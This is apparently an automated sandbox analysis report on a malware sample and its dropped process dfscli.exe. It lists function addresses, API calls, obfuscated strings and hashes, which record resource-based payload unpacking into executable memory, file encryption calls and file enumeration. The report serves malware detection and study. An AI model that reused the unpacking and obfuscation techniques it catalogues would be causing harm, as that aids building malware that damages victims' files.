GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0040FCD9

Strings

@D, xrefs: 0040FD33
@D, xrefs: 0040FCF1

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Info
String ID: @D$@D
API String ID: 1807457897-1398737213
Opcode ID: 91e4028214e053c96e7723c0768ed27d2ed356ddb9a79d95c398ad60e743bbb3
Instruction ID: 62482ca91026c37aa1dac497eb650ef51dc4ea81e72a355b0f7e427c1810b87f
Opcode Fuzzy Hash: 91e4028214e053c96e7723c0768ed27d2ed356ddb9a79d95c398ad60e743bbb3
Instruction Fuzzy Hash: 404139749041519FE720CFB4D48167A7BA1AF49304F28447FD68AEB7A2D23D581E8B8D

Function 0040FAA4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0040FAC0

Strings

, xrefs: 0040FB0E
, xrefs: 0040FAE7

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: a6edd212cb7947d5841bf6e2cae9edd82bd8bb28a2de40edc7fc4ba90436b0ee
Instruction ID: e3cc246aaaae655b62ba72c07eeb59b114e224ef0f58dc480b4ed99257abb5d6
Opcode Fuzzy Hash: a6edd212cb7947d5841bf6e2cae9edd82bd8bb28a2de40edc7fc4ba90436b0ee
Instruction Fuzzy Hash: 4441CD7150425C5EEB218764DC5ABFB3BE8EB06304F2408F2DA44E7192C27819ADDB9C

Function 004166A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

__shift.LIBCMT ref: 004166C4

Part of subcall function 00416684: _strlen.LIBCMT ref: 0041668C

_strcat.LIBCMT ref: 00416701

Strings

e+000, xrefs: 004166F3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: __shift_strcat_strlen
String ID: e+000
API String ID: 208078240-1027065040
Opcode ID: 194d25e77a56b344b629a956c0d25f441e46d8e36f353af7accf61324439c85b
Instruction ID: 89f468d84c82e1ace85985d2492e42cf5a36f8a17d3e9c42b5c9dfd052896992
Opcode Fuzzy Hash: 194d25e77a56b344b629a956c0d25f441e46d8e36f353af7accf61324439c85b
Instruction Fuzzy Hash: 2221C0722093904FD72A9E38DC947E63BD45B03318F1944BFE485CA2D2D67DC885C759

Function 00419FDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,021313E0,00000000,00000007,00000007,^@,004176A0,00000000), ref: 0041A003
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?), ref: 0041A026

Part of subcall function 0040E502: __lock.LIBCMT ref: 0040E520
Part of subcall function 0040E502: HeapFree.KERNEL32(00000000,?,00431A60,0000000C,004108CC,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010), ref: 0040E567

Strings

^@, xrefs: 00419FDB

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ByteCharMultiWide$FreeHeap__lock
String ID: ^@
API String ID: 38926842-3067454934
Opcode ID: 2318afb57be2129960d38f3a2b4ee928f934c80d6b1bab9723fc74fbe9b91bfe
Instruction ID: 184d1faa913d037cc4e56e763f0fd7e80dd229126f78ea24d8bc9510c4970353
Opcode Fuzzy Hash: 2318afb57be2129960d38f3a2b4ee928f934c80d6b1bab9723fc74fbe9b91bfe
Instruction Fuzzy Hash: 5611A371907124BA9B209FAA9C45CDFBF6CDE0A7B4B304567F014E21D0EB349E50D6A9

Function 0042149E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

GetClassInfoA.USER32(?,-0000007C,?), ref: 004214FD

Strings

Afx:%p:%x, xrefs: 004214CE
Afx:%p:%x:%p:%p:%p, xrefs: 004214E9

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ClassInfo
String ID: Afx:%p:%x$Afx:%p:%x:%p:%p:%p
API String ID: 3534257612-2801496823
Opcode ID: bd080865469e38637f7ee73eafe3d082cd40be6588647cb402949ac972de2cf5
Instruction ID: 4ba1055b97871b79f2e7e250bc91374e937afd52b24a3d5666128ff83e3a1e39
Opcode Fuzzy Hash: bd080865469e38637f7ee73eafe3d082cd40be6588647cb402949ac972de2cf5
Instruction Fuzzy Hash: 992130B1A00219AB8F10EF96E8419DE7BB8BE58354F50406BF908E3251E7389951CBA9

Function 004129C5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 004129D7
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\ExeFile (233).exe,00000104,76230A60,00000000,?,?,?,?,0040E931,?,00431A70,00000060), ref: 004129EF

Strings

C:\Users\user\Desktop\ExeFile (233).exe, xrefs: 004129E1, 004129E6

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: FileModuleName___initmbctable
String ID: C:\Users\user\Desktop\ExeFile (233).exe
API String ID: 767393020-2966024786
Opcode ID: 101123d8790505b808453694c3784ed6a65f9cded7262870a66330ec90ee2c88
Instruction ID: fe4f9612b987f02c86c9f827e6e88cda74fa422bc8271a69fa383c6bdeb5fba6
Opcode Fuzzy Hash: 101123d8790505b808453694c3784ed6a65f9cded7262870a66330ec90ee2c88
Instruction Fuzzy Hash: 4A110D72E04104EBC720DBA9ED419DB77A8EB553A0F10017FF905E3290E6B49D45CB98

Function 021F2430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 021F2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 021F24B2

Strings

@, xrefs: 021F2453

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 14c15e6223799ba746728dc70be7de4913c20ad4deae5ef25c380b9e6038f451
Instruction ID: 57c4d599bda53162a2468fe3e0f427e3745f3a61e68525280d5b97e6fc7040e3
Opcode Fuzzy Hash: 14c15e6223799ba746728dc70be7de4913c20ad4deae5ef25c380b9e6038f451
Instruction Fuzzy Hash: 5821E9B0E44209EFDF54CF94C980BADBBB5BF44304F108599DE25A7240C7B4AA80DF55

Function 00425FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00405C41: GetWindowExtEx.GDI32(?,?), ref: 00405C4D

Part of subcall function 00405C1D: GetViewportExtEx.GDI32(?,?), ref: 00405C29

MulDiv.KERNEL32(00407746,00000000,00000000), ref: 00426020
MulDiv.KERNEL32(4689EC45,00000000,00000000), ref: 0042603D

Strings

Fw@, xrefs: 00425FE0

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ViewportWindow
String ID: Fw@
API String ID: 1589084482-2650048193
Opcode ID: 8ba70028f401d5047d1f3a52ed28d91a46c6a7a7344e8140392911f288c2f3f7
Instruction ID: 608e97be970086dca0e1fa4dc7a0ff41e63cb8bbaa647bae0e741146e3f8859e
Opcode Fuzzy Hash: 8ba70028f401d5047d1f3a52ed28d91a46c6a7a7344e8140392911f288c2f3f7
Instruction Fuzzy Hash: 2AF06276900218BFDB207FA59C05C9FBBACDE44214B15043AF940B3152FA75AD108E54

Function 00422479 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042247E

Strings

(C, xrefs: 004224B2
8C, xrefs: 0042249A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog
String ID: (C$8C
API String ID: 3519838083-3442521767
Opcode ID: d0684f4a3a2aa2981b89f74af03356699898ca66f3f3816a80820ca2283281ea
Instruction ID: 7ee2ab24155dd1533db6df93568111abed88cbadf2414e72971fbd093de00081
Opcode Fuzzy Hash: d0684f4a3a2aa2981b89f74af03356699898ca66f3f3816a80820ca2283281ea
Instruction Fuzzy Hash: 1D017571F01170AFD738BB19A6447AEB2A0AF08710F46826FA05997690CBBC8C408A49

Function 00429BB8 Relevance: 5.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00429C15
LeaveCriticalSection.KERNEL32(?,?), ref: 00429C25
LocalFree.KERNEL32(?), ref: 00429C2E
TlsSetValue.KERNEL32(?,00000000), ref: 00429C40

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: de5eba0c02b59015a2dcef9b56467b2c93d0e5e81c9af4f62aac4812230e8b9f
Instruction ID: 4f4236dd2a41b9a2d9142ab37103e81bc3eebe3eca6605d7b1983f38d4fab71a
Opcode Fuzzy Hash: de5eba0c02b59015a2dcef9b56467b2c93d0e5e81c9af4f62aac4812230e8b9f
Instruction Fuzzy Hash: 2011AC34700610EFD720CF56E884B6AB7B4FF05315F90802EE1468B2A1CB75BC50CB18

Function 00410D0F Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00411300,00000000,?,00000000), ref: 00410D36
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00411300,00000000,?,00000000), ref: 00410D6F
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00410D8D
HeapFree.KERNEL32(00000000,?), ref: 00410DA4

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: e608a2bb139fdee7726e9a56420f7327c038405a57471824ccf7c18d09e58544
Instruction ID: 5ba2f75a3631e755b4902d4e05e9c9231f22547c1912ff447ca3f9ea5e59f1b4
Opcode Fuzzy Hash: e608a2bb139fdee7726e9a56420f7327c038405a57471824ccf7c18d09e58544
Instruction Fuzzy Hash: 3E118FB4600200DFD7718F99FC45D627BB5FB82315760453AF296C62B0C770B8AACB18

Function 00429F15 Relevance: 5.0, APIs: 4, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F43
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F55
LeaveCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F5E
EnterCriticalSection.KERNEL32(00000000,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF,0041F399), ref: 00429F70

Part of subcall function 00429EAC: InitializeCriticalSection.KERNEL32(0043F21C,00429F23,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 00429EC4

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-0
Opcode ID: fbf9e35468238c369b4e9d309fef15a1138fbb31a7b7e0400c31e566406133dd
Instruction ID: 64048ed4fafcfd63e0d0b0e47ab2320bfea24fe3f3f20fa265999014551e40f8
Opcode Fuzzy Hash: fbf9e35468238c369b4e9d309fef15a1138fbb31a7b7e0400c31e566406133dd
Instruction Fuzzy Hash: 87F06D7690021ADFDB109F95FC84BA7B7ACFB14316F801437E60492021D739A86ACAAC

Analysis Process: dfscli.exePID: 3180, Parent PID: 3728COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	51.8%
Signature Coverage:	0.2%
Total number of Nodes:	564
Total number of Limit Nodes:	75

Executed Functions

Function 00402530 Relevance: 44.3, APIs: 9, Strings: 16, Instructions: 563
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Advapi32.dll,EncryptFileA), ref: 00402563
GetProcAddress.KERNEL32(00000000), ref: 00402566
EncryptFileA.ADVAPI32(C:\Windows\Setup\State\State.ini), ref: 00402571
LoadLibraryA.KERNEL32 ref: 004028F0
GetProcAddress.KERNEL32(00000000,LdrFindResource_U), ref: 004028FA
GetProcAddress.KERNEL32(00000000,?), ref: 0040291E
LdrFindResource_U.NTDLL(00400000,?,00000003,?), ref: 00402940
LdrAccessResource.NTDLL(00400000,?,?,?), ref: 00402961
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00402974

Part of subcall function 00403B40: LoadIconA.USER32(?,00000080), ref: 00403C94

Strings

r_n, xrefs: 004027A7
Ldr, xrefs: 0040269C
urce_U, xrefs: 00402607
Advapi32.dll, xrefs: 00402557
ntdll.dll, xrefs: 004028E3
esource, xrefs: 0040288D
sResource, xrefs: 004026F4
dReso, xrefs: 004025D8
LdrFin, xrefs: 00402587
LdrFindResource_U, xrefs: 004028F4
EncryptFileA, xrefs: 00402552
C:\Windows\Setup\State\State.ini, xrefs: 0040256C
LdrAccessR, xrefs: 00402859
tdll, xrefs: 004027D7
2sqN7HPu$ul(RB@jWoBnNar^zWR24F02n#bnM3gX6zQ>^jmGICwkhJ?*#2^h2EEKd&#?A8<JT0c%Q?f1Y6Da*fKp6B+(L3!F<O*&V, xrefs: 0040299E
Acces, xrefs: 004026C4

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressLoadProc$Library$AccessAllocEncryptFileFindIconResourceResource_Virtual
String ID: 2sqN7HPu$ul(RB@jWoBnNar^zWR24F02n#bnM3gX6zQ>^jmGICwkhJ?*#2^h2EEKd&#?A8<JT0c%Q?f1Y6Da*fKp6B+(L3!F<O*&V$Acces$Advapi32.dll$C:\Windows\Setup\State\State.ini$EncryptFileA$Ldr$LdrAccessR$LdrFin$LdrFindResource_U$dReso$esource$ntdll.dll$r_n$sResource$tdll$urce_U
API String ID: 2745701538-3822946923
Opcode ID: ff7380a43e44da0602bb0ab87dd5fe5d31548b4def8bd87a78dd0ffcd0c5d888
Instruction ID: 7606226607a74ee82f4d59785f456a1b28ac7059c3ee9b1f73d73fed3cc09996
Opcode Fuzzy Hash: ff7380a43e44da0602bb0ab87dd5fe5d31548b4def8bd87a78dd0ffcd0c5d888
Instruction Fuzzy Hash: 074208B19083C0DBD331DF1AC585BCBFBE4AB99704F44492FA1C953291DAB8A548CB5B

Function 021C1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(021C4054,021C4040), ref: 021C1047
GetProcAddress.KERNEL32(00000000), ref: 021C104E

Part of subcall function 021C1B30: SetLastError.KERNEL32(0000000D,?,021C1070,?,00000040), ref: 021C1B3D

SetLastError.KERNEL32(000000C1), ref: 021C1096

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 4e1785371ebb9f57421cbce8350b40e1edd31fb862d47bdf074662a375863cbc
Instruction ID: b59886c71aed4a2e72cd0ea571c40822bc6f3e393d8593127308e9e854b68d1d
Opcode Fuzzy Hash: 4e1785371ebb9f57421cbce8350b40e1edd31fb862d47bdf074662a375863cbc
Instruction Fuzzy Hash: BAF1FEB9E80209EFDB04CF94D584BAEB7B1BF58314F208598E919A7342D735EA51CF90

Function 022338F0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,?,00000000,0223998D,16BF64F2,00000001), ref: 02233976
FindFirstFileW.KERNELBASE(?,?,00000000,0223998D,16BF64F2,00000001), ref: 02233A5D
FindClose.KERNELBASE(?,00000000,0223998D,16BF64F2,00000001), ref: 02233B91

Strings

Ei, xrefs: 0223399D
., xrefs: 02233A95
Ei, xrefs: 02233AD8
8T], xrefs: 02233A22
8T], xrefs: 02233910

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$8T]$8T]$Ei$Ei
API String ID: 3541575487-3972632629
Opcode ID: e49163eba9a52b0195cf0fe269b95a06e541571b8fa58a3d11c86563151b10d6
Instruction ID: e2110a1afe3a452984fedbae5295bfbe0882b947111b9b60d376f3440b7b6ca3
Opcode Fuzzy Hash: e49163eba9a52b0195cf0fe269b95a06e541571b8fa58a3d11c86563151b10d6
Instruction Fuzzy Hash: B851C4F5B3430197C726EAF4A84467B36E6AB80354F04099DE946C7248EF79CA1587D2

Function 02238240 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0235BF01,00000000,?,?,00000000,2564BE4F), ref: 022383A9

Strings

.#v, xrefs: 02238479, 022384A4
J, xrefs: 022382D9

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: J$.#v
API String ID: 823142352-3621003161
Opcode ID: dc04e8415f8b403b2db57900e774afde47804ba0af262eab940fd3d3e61ed8c2
Instruction ID: 046fc3dc4dde37c9fd8800998cf9e95323985028582ccfc22bde7e6b40b044dc
Opcode Fuzzy Hash: dc04e8415f8b403b2db57900e774afde47804ba0af262eab940fd3d3e61ed8c2
Instruction Fuzzy Hash: CE61ADB2A283019BC709DFA8D484A2FB7E6ABC4754F04891DF495DB298D774C9098BD3

Function 02237EC0 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 227
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileInformationByHandle.KERNELBASE(007EF903,00000000,?,00000028), ref: 02238149
CreateFileW.KERNELBASE(?,?,?,00000000,?,0235BF01,00000000), ref: 022381ED
FindCloseChangeNotification.KERNELBASE(00000000), ref: 02238225

Strings

e?M:, xrefs: 022381F6
Ei, xrefs: 02238030
e?M:, xrefs: 022380E3
.#v, xrefs: 0223821F
{, xrefs: 02237ECA
J, xrefs: 02237F3B

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateFindHandleInformationNotification
String ID: J$e?M:$e?M:$.#v$Ei${
API String ID: 1885865419-1658071454
Opcode ID: dc67a909832748e3640bac90cbd2579213ab096e5f993dec6094df8410dae01b
Instruction ID: d57d0373b525ab6045a60ed935b2befa2aef531a9fc61ea6449958a1c718d36e
Opcode Fuzzy Hash: dc67a909832748e3640bac90cbd2579213ab096e5f993dec6094df8410dae01b
